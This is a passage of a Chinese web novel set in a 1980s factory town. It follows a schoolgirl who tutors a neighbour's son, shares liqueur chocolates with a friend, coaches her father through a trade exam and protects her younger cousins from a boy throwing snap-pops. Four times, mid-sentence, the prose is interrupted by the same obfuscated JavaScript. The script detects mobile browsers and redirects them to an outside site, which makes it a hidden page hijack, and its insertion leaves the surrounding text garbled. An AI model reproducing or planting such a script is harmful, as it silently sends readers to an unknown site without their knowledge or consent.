程守萍转身就走。 马冬兰原地纠结了好一会儿,眼看程家小囡越走越远,一咬牙,一跺脚,还是追了上去:“你要是收了钱,小军成绩没提高怎么办?” “师傅领进门,修行在自身。如果王小军自己不肯努力的话,我教给他的东西再真材实料也没用啊。马阿姨,你能给我下保证,王小军肯定会努力用功的吗?” “他,他肯定会啊!” 程守萍笑眯眯地:“那我也可以保证,肯定能帮上他。” 马冬兰最后还是选了隔天上课,隔天的开销没那么大,再说了寒假上课也不一定能看出什么效果,还得等开学有考试了才看得出来。 隔天上课,程守萍也乐得轻松一点。 马冬兰住的也是厂里分的新公房,就在程守萍家隔壁那栋楼,走过去五分钟都不用。 去的第一天,程守萍让王小军把过去的错题整理出来,抄在一起。 马冬兰见程守萍啥也没干,啥也没教,一句话吩咐下去,儿子就忙了一个多小时。她不乐意了:“说好来教他诀窍的,你尽让他抄题目了,这一小时不能算钱。” 程守萍被她逗笑了:“马阿姨,你吃一碗饭,吃到最后一口才吃饱。那你除了最后一口饭,之前的饭都是白吃的对吧?早知道就不吃前面那么多口饭了,直接吃最后一口,一口就吃饱了,多省钱哪!” 马冬兰脸涨红了:“那你不早点说,我让他提前把错题抄好不就行了。” 程守萍指着错题本说:“这是我准备好的本子,你看,左边用来抄错题,下边和右边留着空,右边用来解题,下边要写上对应的知识点和解题思路。” “而且抄错题也要章法,我都是让他按着题型来整理,相同题型的抄在一起。要不是我在这儿一直看着,让你来告诉他抄错题,他能整理成啥样?到时候还不是从头再抄一遍?” 马冬兰没话说了,悻悻地拿起棒针,继续织绒线。 说实话程守萍还真看不上马冬兰这六角钱,但王小军是她第一个收钱带的学生,要是能帮他把成绩提上去,就是她的成功案例。 像王小军这种成绩中游偏上的学生,往往是因为有少数几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122318|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知识点看似学会了,其实没吃透,导致题目稍微复杂一点就容易做错。要提分就要针对他薄弱的地方,先把对应的知识点吃透,然后通过刷题来巩固,熟能生巧,最后才能够举一反三。 爸爸厂里职工上千,有不少和她差不多年龄或更小些的学生,如果能吸引到更多的人来让她辅导功课,那可就不是几毛几角的零花钱了。 不过这之后,马冬兰没再打扰他们,只坐在一旁织绒线,时不时瞟过来一眼。 挂钟发出报时的“当当”声。 程守萍给王小军布置了需要完成的作业,收拾好自己的书包,起身走到马冬兰面前,微笑:“马阿姨,今天的课费。” 马冬兰朝王小军看了眼。王小军朝她点点头。 这是她和儿子事先约好的暗号,如果觉得程守萍教得好,就朝她点头,如果觉得没学到啥就摇头。 王小军自己是想考高分的,每次考前他也看书看试卷复习,但不知怎么就是考不好,东扣一点,西扣一点,十几分就没了。长时间下来,他也没了信心,觉得自己能力不行,再怎么努力也只能考那么点分。 妈妈老是提隔壁那栋楼的程守萍,用她的成绩给他加油打气,说他考得比程守萍好。 老是和差生比有什么用啊?他们班还有考不及格的同学呢,那能说明他好吗? 可上回的期中考试之后,妈妈不提程守萍了。王小军好奇起来,找四(3)班的学生打听了一下,才知道程守萍两门都考了九十分以上! 那个一直被用来和他比较的差生,考得比他还好了。 王小军不甘心,下半学期认真了不少,考前复习也花了更多时间。可成绩出来就是当头一棒,数学不光没上九十分,还比期中考低了两分。语文倒是高了一点,但也不够九十。 而同样难度,一模一样的卷子,程守萍拿了满分。 王小军真的不理解,她到底是怎么做到的。 向程守萍学习提高成绩的“诀窍”其实是王小军提出来的。 起初,马冬兰一口回绝,她已经在程家父女面前丢了个大脸,现在让她去求程家小囡?她可不干。 可耐不住儿子软磨硬泡,马冬兰最终还是觍着脸向程守萍开了这个口。后来程守萍提钱了,倒是让马冬兰好受一些,只要付钱上课的话,就不算是去求人,不会欠她人情。 但马冬兰也不想做白白付钱的冤大头,所以才和儿子约定,用这样的暗号来表明有没有真学到东西。 见王小军点头,马冬兰才肉疼地摸出几张毛票,数够六角钱,递给程守萍。 程守萍只当没看见这对母子的“暗号”,收好钞票,便离开了王家。 下楼,上楼,她在自家门前瞧见了沈继舟。 他穿着件裁剪合身的藏青呢子大衣,围着驼色羊绒围巾。藏青近黑,很衬他白皙的皮肤,即便是在照不到阳光的阴暗楼道里,他也白得像是自己会发光一样。 他背倚着房门,半垂着头,手里拿了本书在读。听见她上楼的脚步声,他抬头看过来,看清是她后,脸上绽开了一道温暖的笑容。 29. 【微醺】 程守萍急忙摸出钥匙,带着歉意说道:“我上完课还留下来讲了几句话,回来迟了。” 沈继舟摇摇头,让出门前的位置来:“没事,我可以看书。” “楼道里光线太暗了,你这样看书要把眼睛看坏的。”程守萍说完,忽然轻笑一声。 沈继舟不解地看着她。 “我在想……你眼睛近视后戴上眼镜的样子。”程守萍说着,推开房门。 沈继舟:“……” 他跟着她进屋的时候,回想了一下学校里偶然见到的戴眼镜的学生,还有戴眼镜的老师,默默地把书收进了书包里。 接着从书包里拿出一盒翻录的磁带:“这是第二册的磁带。” “谢谢你呀。”程守萍照例给他泡上一杯特浓版乐口福。 她家里这台单卡机子只能播放或是直接录音,但没法翻录磁带,每次还得托沈继舟帮忙翻录。 “不,不用谢。” 沈继舟还在继续掏书包,有点费劲地从里面掏出一个扁平的硬纸盒,大小有如一本十六开硬封皮的精装画册,典雅的哑金外盒,表面有精美的浮雕压花。 正面印着烫金的花体字英文—— GODIVA PRALINES-ASSORTEDCHOCOLATES Belgium1926 CHOCOLATES——巧克力,这个词程守萍还是认识的,其他的单词没背到过,但这盒肯定是要用外汇券才能买到的进口巧克力,一般的渠道根本买不到。 沈继舟双手托着纸盒递向她:“我才应该谢谢你,这是送你的。” “太贵重了,我不能收。”程守萍摇头,“你是从家里拿出来的吧?赶紧放回去吧。” 沈继舟的父母都是高知,也许亲友有相关的渠道。但即使对这样的家庭来说,一盒进口巧克力依然价值不菲,往往是逢年过节的时候,才会在接待重要客人或是近亲密友时拿出来招待。 沈继舟见她不肯收,有点着急地说:“这盒巧克力是我这次期末考试考得好,外公奖励我的。但我能考那么好全是你的功劳。这本来就该是你的。” 程守萍这才放松一点,要真是他从家里偷拿出来的,她不敢想他回去后要面对的场面。 不过这盒巧克力还是太贵重了,她想了想,说:“你考得这么好,我当然是有功劳的,不过你自己的努力也很重要。” 她莞尔一笑:“我们分着吃吧。” “好。”沈继舟欣喜地笑了,腮边随之漾起两枚浅浅的梨涡。 他把巧克力放在桌上,打开盒盖,让她先选。 程守萍拿起一块扇贝形状的巧克力,轻轻咬下一小块,留在舌尖上,让它慢慢融化在嘴里。 一股榛果酱的浓郁香气混合着巧克力的甜香在口中柔滑无比地扩散开来。 沈继舟则选了一枚细长海螺形的,放进嘴里一咬,脸上浮现出疑惑的表情。 程守萍不由好奇:“你这块什么味道的?” 他皱着眉嚼了会儿,摇头:“不知道。” 程守萍更好奇了:“怎么会不知道呢?是你从来没尝过的味道?是怎样的?” 沈继舟试着描述:“有点辣,又很甜,很冲的味道……” 居然还有辣味的夹心? 程守萍颇为意外,低头研究这盒巧克力,突然发现里面有张纸,上面印着不同形状的巧克力,正好一一对应盒中的巧克力,同时还印着相应的口味,每一颗巧克力都有不同味道的夹心。 程守萍吃的是HazelnutPraline。 沈继舟吃的那颗口味是WhiskeyTruffle。 都是从未接触过的生词。 他们两个决定抽时间把这张纸上的英文标注都翻译出来。 这么贵的巧克力,程守萍吃一颗就不好意思再吃了,让沈继舟先带回去,他却死活不肯,说是送她的,他不能带回去。 “我爸要是看见了这盒巧克力,非追根究底问明白不可,而且一定会让我当场就给你送回去。你要是不想给我招麻烦,就先把它带回去,就算是寄放在你那儿的,好不好?咱们不是约好了一起读英语的吗?赶紧开始读吧。” 听程守萍这么说,沈继舟才答应先带回去,收好巧克力之后,两个人便开始专注读起英语来。 程守萍总觉得今天的沈继舟有点不对劲,但又说不上来哪里不对劲。他的脸颊红红的,眼睛却特别明亮,读英语的时候也比平时大声,像是进入了某种兴奋状态。 她按停了收录机。 沈继舟讶然抬头:“怎么了?” 她打量着他,担心地问:“你有没有觉得哪里不舒服?” “没有。” 程守萍示意他往前靠,抬手按住他额头,把另外一只手放在自己额头。 掌心下的肌肤光滑细洁,热烘烘的。 程守萍皱起眉,是发烧了吗?但又没发烧那么热…… 她又仔细看了看他的脸色,他垂着眼,纤长的睫毛轻微颤动着,脸颊像是更红了,连带着耳朵都红了起来。 “真的不难受?” 沈继舟抿着唇,摇摇头。 他来的时候还是好好的,之后…… 程守萍猛然想起那颗味道古怪的巧克力来。难道是酒心巧克力? 再一回想他的描述:有点辣有点甜,味道很冲。应该是吃到了酒心巧克力吧。 她变得放松下来。他不是发烧,只是……微醺。 随着她收回手,沈继舟抬眸看她,眼神迷惑:“怎么了?” 程守萍忍着笑道:“是我搞错了,我刚才还以为你发烧了呢,还好不是。” “那你笑什么?” “我是因为你没发烧所以松了口气啊。” 沈继舟没说话,她这样的笑法,是想笑却忍着笑的样子,眼睛里还带着点狡黠的戏弄之色。 就好像那天在公园里看着他捞皮球一样。 他抿了下嘴唇,低头看着饭桌边缘褪色的格子花纹,不说话了。 程守萍拿笔杆子轻轻戳了戳他的手背:“生气了?” 他把手往后挪了半寸。 呦,还真生气了。 程守萍也就不再逗他,解释道:“我也不确定是不是,不过你刚才吃的那颗巧克力,可能是酒心巧克力。” “酒心……巧克力?”沈继舟回忆着之前尝到的味道。 “嗯,里面有酒,但只有一点点,你过一会儿就会好的。”程守萍起身给他另倒了杯白开水,放在乐口福杯子旁,“多喝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128540|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点水吧,会感觉舒服点。” 沈继舟捧着杯子慢慢喝着了小半杯水,才变得平静下来。 傍晚前后,程守萍要去接弟弟,便锁了门与沈继舟一起下楼。 路上两人互相抽背单词,直到路口要分别的地方,约好下一次去沈继舟家读英语的时间,这才挥手告别。 - 晚上等弟弟睡下了。程守萍带上耳机听一会儿英语讲座,直到爸爸回来,惯例又带了些点心回家。 她把点心收进碗橱,准备留作第二天的早饭,顺便问道:“爸爸,你的培训课上得怎样了?觉得难吗?” 程根生迟疑了一下,说:“挺难的。” 小囡还小,又是单亲家庭,他已经习惯一个人扛下所有为难的事,不向两个小囡流露半分。 但萍萍最近变化很大,像是忽然间长大许多,不管是她的个子还是心智,都迅速地成熟起来,夸张点的说法就像是变了个人一样。 程根生前段日子和大姐聊过这事。 大姐说是这样的,女小囡本就比男小囡开窍开得早,加上年幼丧母,更是逼得人早慧。 突然有一天你就会发现她长大了,会有她自己的主意,会和你意见相反,为了各种大事小事和你争吵斗嘴,所以还得珍惜如今她仍年少的时候。 之后因为樊美娟给他介绍对象那事儿,父女俩一番深谈。 经过这件事,程根生发现,什么事都瞒着小囡也不好,有些事该说还是要说,何况大女儿确实给他一种聪慧又可靠的感觉。 他想,与其到时候考不出六级钳工,让她失望,还不如现在就直接承认培训班的课很难,他学得很辛苦。 连续学了几个月理论知识,前两天培训班发下来两大张卷子,说是模拟考。 程根生一看到卷子上那么多题目,当场就脑子发昏眼发直了,好不容易才定下神,一笔一划地写上答案。但他写字写得太慢,还没等题目全写完,收卷时间就到了。 最后分数出来,他只有46分,不及格。 程守萍却没有流露半点失望之色,还对他说:“爸爸,你的卷子给我看看。” 程根生虽然不解,还是从尼龙袋里拿出那份考卷。 试卷整齐地对折后再对折,叠得四四方方的,但因为放在尼龙布袋里,四角都有些卷起。 程守萍打开细看。卷子分两大张,第一张是理论题,题型有填空、选择,还有问答题。第二张则是两道作图题。 两道作图题就占了三十分,但程根生第一张的理论题都没答完,作图题空着,一分都没拿到。 程守萍问:“爸爸,这两道作图题你会不会?” 程根生点头,他会画的,他只是没时间。 程守萍把卷子铺在桌上:“爸爸,你现在做这两题,我帮你记时间。” 程根生上培训班的时候就觉得作图题最容易,他在工作岗位上那么多年了,看过的图纸不下几千张,也经常手绘三视图或是一些简略的草图,向学徒工和普通技术工人解释一些加工上的原理与步骤,这就是他吃饭的手艺啊。 程根生把铅笔放下的时候,程守萍看了眼挂钟:“爸爸,你做这两题总共只花了36分钟。” 程根生虽然点了一下头,但还是没有明白她计时的用意所在。 30. 【过小年】 程守萍看了眼挂钟:“爸爸,你做这两题总共只花了36分钟。” “你只要花36分钟就能拿到30分,就算有疏忽,扣掉点分数,保底25分总是可以拿到的。” 她点点试卷最上方标明的答题时间:“剩下114分钟,将近两个小时。你只要在这两小时里拿到35分就合格了。” 程根生有点明白过来了:“你是说,先做作图题?” “对!开始答题你就先做作图题,画完图还有时间检查一下,确保拿到25分以上。然后再去做前面的理论题。” 她又把第一大张的试卷朝他推过去:“我刚才看了,爸爸你虽然很多题都没来得及做,但只要是你做过的题,基本都是对的。你先把图画完,就可以定定心心做前面的题。时间足够你拿下35分的。” 对爸爸来说,先做作图题还可以消除紧张,增强信心,让他在做理论题时发挥得更好。 至于理论题的答题顺序也是有讲究的,爸爸写字慢,所以要优先做选择题,然后是填空题,最后才是问答题。问答题虽然看起来占分多,但要写很多字,做起来反而慢,就放到最后有多余时间了再做。 她一番分析下来,程根生有醍醐灌顶之感。 原来不是他学得太差,原来考试也和车工件一样,是有技巧的! - 一月二十九日是农历小年,程守萍的大姑妈让程根生带着两个小囡去她家里过。 因为带着宏宏,没法步行那么远,一早程家父女就带上提前准备好的东西,到车站等公交车。 冬天清晨的风又干又冷,刮得人脸生疼。 程守萍用围巾裹住自己大部分的头和脸,又把宏宏的头脸也用围巾裹了个严严实实的,就露出两个眼睛来。 程根生把宏宏揽近身边,让他的小脸贴在自己身前,那样他就吹不着风了。他又喊程守萍也站过来,贴着他好挡风。 程守萍摇摇头:“我不冷。”她还是喜欢像这样看看街景,冷一点也无所谓。 好在今天运气不错,没一会儿公交车就来了。 但这年头挤公交也是个技术活。车次少,乘客多,每次挤公交都是一场激烈的战斗,是对体力与智力的双重考验。 首先你需要精准预判公交车停靠后,前后门的位置,判断的越准确,你离门口越近,你就越容易上车,因为后面的人会推着你上去。 如果你判断失误,离门太远,那对不起了,你很可能就是挤不上公交的那批人,只能悻悻然等着下一趟公交来,再碰碰运气。 其次你需要迅速判断这辆停靠的公交车是前车较空还是后车较空,选择对应的车门,就有更大机率上车,上车后也会站得比较宽松。 另外你还得小心防备“三只手”,他们趁着人群拥挤的时候下手,划口袋,偷钱包,然后假装挤不上车的样子往后退开。这类受害者往往到了要买票的时候才发现自己的钱包被偷,但车已发动,三只手却在站台上洋洋得意地抛着手中的战利品。 程根生父女平时乘车较少,都快把挤公交的这套技术忘得差不多了。何况他们还带着宏宏和大包小包的东西。 眼见人群疯了似地涌向还未完全停稳的公交车,程守萍立时生出了退意,转头看一眼爸爸。爸爸正尽力护着宏宏不让他被人群撞到,同时冲她摇头。 算了,还是走过去吧。 两站路也不算太远。 只不过宏宏人小腿短走得慢,程根生又拎着要带给大姐程梅英的东西,没法抱他。父女三人慢吞吞走了快半小时,宏宏哭唧唧地说:“爸爸,我走不动了。” 程根生为难地看看他,再看看两手提的东西。 程守萍看出爸爸的为难,说:“我来背他吧。” “不,你拿着这个。”程根生把比较轻的一包东西递给她,其他能放地上的先放地上,不能直接放地上的搁在顶上。 然后他双手抄在宏宏腋下,将他高高举起,让他骑在自己肩膀上。 宏宏快乐地咯咯直笑,双手抱紧爸爸的脑袋。 程根生左手扶着他后背,让女儿把临时放地上的东西传给他,单手拎着。程守萍留了包比较沉的水磨年糕自己拎。 父女三人继续出发。没走多远,就看到大姑父包向东了。 程根生家离程梅英家不远,坐公交的话按说早该到了,见他们迟迟不来,包向东猜他们多半是没挤上公交车,便出来接他们,顺便还可以抽支烟。 远远看到他们,包向东急忙加快脚步迎上来,接过程根生父女手里提拎的东西,一边说:“怎么这么客气,下次来不要带这么多东西啊!” “也没多少。”程根生口中客气着,换只手扶住宏宏。 “大姑父好。”程守萍手上跟着一轻。 她松了口气,偷偷揉搓被勒红的掌心,那一大坨水磨年糕还真是死沉死沉的。 宏宏也跟着嘴甜甜地叫人:“大姑父好。” 包向东笑呵呵地应了,转身拎着东西,引着他们往家走。 程梅英正在使劲和粉团,听见他们进门的声音,转身笑着招呼:“都来啦?今天吃大汤团啊,你们先进屋坐。” 程守萍带着弟弟叫:“大嬢嬢好!” “好好,你们也好。”程梅英带着袖套,两只手上都沾着雪白的粉,便指使包向东,“你给根生泡绿盒里的茶,那个茶好。” “哎,我知道。”包向东把手中东西一一放下。 每逢过年,程根生都要带一大块他们厂食堂做的走油肉来。食堂大锅大油炸出来的五花肉,肉皮均匀地起皱,色泽红亮,吸饱了酱汁,肥润不腻。 这一整块肉就是一斤重,装在饭盒里,程根生还要拜托打菜的女工往里面多浇点红烧酱汁,这会儿都冻起来了,吃之前把肉切成厚片,下面铺上青菜,上锅蒸透,酱汁往上面一浇,别提有多美了。 包向东就馋这一口大肥肉,高兴地搓搓手,把走油肉和水磨年糕收进碗橱,这才进屋去拿茶叶。 程梅英家也是一居室,进门就是厨房兼饭厅,里面是房间,房间整体比程守萍家大一些,但也大得有限。 房间用写字台、大衣柜加上布帘子,拦成里外两个空间。 所谓里间也就够放一张大床,是程梅英、包向东和小女儿包文静睡觉的地方。 靠外的空间里搭一张折叠钢丝行军床,是大儿子包文俊睡的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133746|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今天要待客,就把行军床收起来放到里间,外面支一张折叠桌。 折叠桌上放着果盘,里面是瓜子、花生、核桃、糖果、蜜饯。 包文俊和包文静之前眼巴巴瞅着果盘,但是客人不到不能动,早就馋坏了,好不容易等来舅舅一家,他们又在厨房间说话,一时不进来。兄妹俩就跑到门口,朝程守萍姐弟俩招手挤眼睛。 程守萍好笑地朝他们挥挥手。 程梅英瞧见了,催促道:“你们小囡先进去玩吧,别都挤在这里了。” 程守萍便带着弟弟进屋,留下爸爸和大姑妈在厨房说话。 包文俊很是热情地引他们到桌前坐下,请他们吃果盘里的零食,又去厨房问妈妈,能不能给表妹表弟倒汽水。 程梅英知道他是自己想喝,但汽水本就是为了年节里待客买的,她朝他点点头,又叮嘱道:“一会儿要吃饭了,不要多喝,一人就喝一杯知道吗?” 包文俊答应,转身跑回房间,从写字台下面拖出一瓶汽水。 正广和的大瓶装鲜桔水,和程守萍小组庆祝时喝的那种软管装不同,这种是带汽的,大号玻璃瓶装,味道口感要好很多。 这一整个玻璃瓶比啤酒瓶还大,又沉,包文俊怕摔了,便抱着它来到桌前,小心地放在桌子中央。 大人在厨房聊天。 四个小囡对着这一大瓶汽水看了好一会儿。 程守萍突然意识到,十二岁的表哥可能不清楚要怎么开瓶,她轻咳一声:“表哥,你知道开瓶器在哪里吗?” 包文俊摇头,再次跑出去问妈妈。隔了一阵回来,双手各拿一个玻璃杯,胳膊肘下面再夹着两个。 程守萍赶紧上前,替他拿住胳膊肘下面夹的玻璃杯,两人回到桌前。 包文俊放下杯子,从口袋里掏出一个开瓶器。 开瓶器是拿来了,怎么用又是个难题。 程守萍朝他伸手:“我来开吧。” 包文俊略一迟疑,把开瓶器交给她,看到表妹把开瓶器扣上瓶口,往上一扳,轻轻松松地就打开了。 接着是倒汽水,因为是玻璃瓶,瓶身又大,颇有重量,包文俊两手拿住还有点摇晃不稳,程守萍帮他把瓶身托住,两人协力总算是能把瓶子拿稳,顺利地倒出汽水。 宏宏因为年纪太小,程守萍怕他拿不住玻璃杯,让包文俊找个不怕摔的杯子或碗,包文俊就找出妹妹小时候吃饭的碗给他用。 程梅英一边忙活拌馅,一边和弟弟聊着父母的身体,聊着小妹家的事,起初没太在意汽水的事,儿子跑出来要开瓶器就把位置说给他听,让他自己拿。 说了一阵话后,她突然想到那瓶汽水挺大挺沉的,儿子一个人怕是倒不了,说不定连开也没法开,就让包向东进去帮他们。 包向东进屋,瞧见汽水已经倒好了,四个小囡正一人一杯捧着喝呢。 他拍了拍儿子的肩:“挺能干啊。” 包文俊不好意思地说:“是表妹帮我一起倒的。” 包向东笑着点头,看向程守萍:“萍萍,你这次期末考试考了一百分是吧?” 程守萍心说又来了,只不过这回是她自己成了“亲戚家的小孩”。 31. 【新衣烫洞】 包向东笑着望向程守萍:“萍萍,你这次期末考试考了一百分是吧?” 包文俊垂下了头。 程守萍看了看表哥,笑眯眯地对大姑父说:“刘老师说我们这次的考卷特别简单,很多同学都考得比以前好。” “考卷再简单,一百分也不是那么容易拿的。”包向东撸撸儿子的头,“你要学学萍萍,你看一样在学校读书,人家就能考一百分,你就……” 程守萍不愿听这些,放下杯子,摇摇包文俊的手:“表哥,你那个飞机模型做好了吗?给我看看好不好?” 包文俊感激地看向她,点点头,下桌跑去写字台旁。 程守萍也跟着下桌,对包向东说:“大姑父,我去看看表哥做的飞机。” 包向东笑着挥挥手:“去吧去吧。” 不一会儿,大姑妈就喊开饭了。 因为是吃大汤团,也不用坐一桌,索性小囡们坐一桌屋里吃,三个大人坐外间厨房吃。 大姑妈包的大汤团,一个团子就和宏宏的拳头一样大。外面裹着雪白软糯的水磨糯米粉皮,里面包着荠菜猪肉馅。咬开一个小口,要先吹一下,等里面的肉馅稍微凉点了再吃。团子里面还有肉馅里渗出的汁水,咸鲜可口。 程守萍最爱吃这种汤团,一口气能吃五个。 大姑妈还包了豆沙馅的甜汤团,为了和荠菜猪肉馅的汤团区分,团子顶端会捏出一个小尖尖来。 这是宏宏的最爱,去年他才一点点大就能吃三个,还举着碗要吃。大姑妈却不敢再给他,生怕他吃撑了。今年也只让他吃了四个,答应他晚上再给他煮,他才罢休。 家里地方实在是小,吃过午饭后,几个小囡就跑楼下去玩。 因为表妹似乎挺喜欢这架飞机模型的,包文俊就把它也带上了。 程守萍当时其实是为了岔开话题随便找了个借口,这会儿也只能假装感兴趣,问他:“这飞机能不能飞?” “当然能飞啦!”包文俊自豪地演示给她看。 飞机前面有个塑料的螺旋桨,螺旋桨连接着一组橡皮筋,橡皮筋的另一头固定在飞机尾部。 包文俊用手指转动螺旋桨,橡皮筋随之扭转,就好像上发条那样。当橡皮筋扭转得足够紧,只要松开螺旋桨,螺旋桨就会被橡皮筋带着反向旋转,给小飞机提供动力。 包文俊在松开螺旋桨的同时,将飞机往前投掷。 小飞机在空中划出一道悠长的弧线,轻盈地飞出好几十米,又向前滑翔了好长一段距离才落地。 宏宏惊喜地拍起了小手:“我也要玩,我也要玩小飞机!” 包文俊一脸严肃地说:“从大到小轮流玩,先轮到萍萍表妹,然后是我妹妹,最后是你。” 宏宏对此没有意见,用力点点头。 程守萍很想说,表哥你不用算上我的。 她无奈地叹口气,走过去捡起飞机,用手指旋转螺旋桨,直到感觉转起来有很明显的阻力了,才松开螺旋桨,同时将小飞机朝表哥表妹站的位置掷了出去。 她刻意没将螺旋桨转得太紧。小飞机飞出的距离没有包文俊那么远,但也差不了多少。 包文静捡起飞机,回到哥哥身边,好像是问他怎么玩。包文俊又教了她一遍,她似懂非懂地点点头。 这时有个邻居小孩过来,和包文俊说着什么,包文俊摇摇头。 程守萍离他们比较远,听不清他们说什么,但光看神情动作,就能猜到男孩也想玩飞机,然而包文俊不肯给。 因为宏宏还在包文俊身边,这个陌生男孩过来让程守萍不太放心,她就快步走了回去。 走近后,她听见那男孩说:“我拿这个和你换。” 他一边说,一边从口袋中拿出只香烟壳大小的纸盒,拉开一道缝,从里面倒出几个摔炮。 包文俊还是摇头。 男孩流露出十分失望的神色,又颇为不甘。他没有走远,就站在他们附近看着。 包文静和宏宏在包文俊的指导下玩飞机模型时,程守萍看了几次那陌生男孩,见他始终在附近徘徊,目光一直盯着那架小飞机,不由心中暗生戒备。 她朝包文俊说:“我们换个地方玩吧。” “为什么?”包文俊不太想走,附近就这一个地方有笔直空旷的一长段距离可以玩飞机,换其他地方,要么飞不远就要撞到墙,要么很容易被树枝或是电线之类的杂物勾住。 包文静投出了小飞机,可能是她没把螺旋桨拧紧,又或者是过早松开了,小飞机没有飞出多远就“坠机”了。 她失望地“啊”了一声,叫着:“这次不算!”边说边朝小飞机落地之处跑去。 “轮到我,轮到我!”宏宏也跟着一起跑了过去。 程守萍看到那个男孩从口袋里拿出了什么,她想起那盒摔炮,心头猛然一阵急跳:“别过去!宏宏,文静!” 但两个孩子边跑边嚷,并未听清她喊了什么。 程守萍喊出口的同时追了上去。 平日里晨跑的效果体现出来,她用尽全力奔跑,在弟弟妹妹即将跑到飞机之前拦住了他们,并顺势搂住他们。 背后有“啪!啪!啪!”几声响亮的爆裂声。 那男孩果然扔摔炮了!还扔了好几个! “你干嘛?!”包文俊怒吼一声,朝那男孩奔去。男孩拔腿就跑。 程守萍转身,看到小飞机附近的地上有两三处淡淡的黑色痕迹,幸好没炸到飞机本身。 忽然听见文静在她背后惊呼:“萍萍姐姐,你的衣服!” 她自己看不见背后,只能问文静:“我衣服怎么了?” “烧了个洞!” 程守萍怕衣服被烧着起了明火,赶紧脱下外衣,翻到反面一看,万幸没有起火,只是被烫出个指头大小的洞,洞口边缘一圈焦黑,露出里面的棉絮,摸上去还有余温。 “萍萍姐姐……”包文静都快哭出来了,她知道表姐是替她和表弟挡住了摔炮,才会被烧破衣服的。 入冬前新做的灯芯绒棉大衣,程守萍平时穿得很仔细,几乎还和新的一样,平白让人烫了个洞,心里难免懊恼。但她毕竟不是小孩,这种懊恼的心情很快就调整过去。 她重新穿好外套,对文静和宏宏说:“炸到衣服没事,幸好没炸到你们两个。” 说话间包文俊已经追上那男孩,抓着他胳膊将人拖拽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142092|195018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来:“给我道歉!” “凭啥?”男孩不服气地还嘴,“谁让你不给我玩飞机。小气鬼!” 包文静眼泪汪汪地对包文俊说:“哥哥,萍萍姐姐的新衣服给烫了个洞。” 包文俊更生气了,按着那男孩的头强迫他向程守萍道歉。 那男孩也就九、十岁的样子,没他力气大,挣脱不了,但嘴上不肯服软,还一直骂包文俊是小气鬼,说他们活该。 程守萍正想叫包文俊先放开这小鬼,好好说话,忽听一声尖锐刺耳的女人叫嚷:“要死了!你们在做啥?!放手!” 不远处有个瘦条条的中年女人,气势汹汹地冲到他们近前,一把扯过那男孩,同时猛地推了把包文俊。 包文俊到底只有十二岁,冷不防被一个成年人猛然推开,站立不稳就往后摔倒。 程守萍急忙扶了他一把,包文俊才没直接往后摔,但也一屁股坐到了地上。 程守萍拉他站起来,担心地问:“摔疼了吗?” 包文俊惊魂未定地揉揉屁股,疼是疼的,但在表妹面前,他不想承认:“不疼。” 不等程守萍再细问,对面的女人爆发了,指着包文俊骂开了:“我认得你这只小赤佬,对面楼里包家的小囡!为啥欺负我家贝贝?” 包文俊很委屈:“是他先惹我们的。” “你们一群人,他只有一个人,他怎么惹你们?啊!你说呀!你怎么不说啊?”女人颧骨高耸,眉毛吊起,气势汹汹,尖嗓门刺得人耳朵疼,一叠声地反问,根本不给人机会说话。 包文俊想从头解释事情的起因,但被女人的声势震住了,主要也是找不到机会插话。 程守萍朗声问:“阿姨,你儿子在玩摔炮你知不知道?” “什么?”女人愕然刹车,回头看向男孩,男孩低着头不敢抬眼。 程守萍看出来,男孩是瞒着父母自己偷偷买的摔炮。不管眼前事情怎么解决,回去他逃不了一顿训斥,甚至责打。 高颧骨女人狠狠瞪了眼自家儿子,回过头来又是另一副嘴脸:“哼,我不知道什么摔炮。我就看到你们一群大小囡在欺负贝贝。” “你家的贝贝扔摔炮,烫坏我衣服了,我表哥只是在让他道歉。”程守萍转身让她看清楚,“看到了吗?” 女人撇着嘴不屑地说道:“谁知道你衣服上面的洞什么时候烫的。不要赖到我家贝贝头上。” 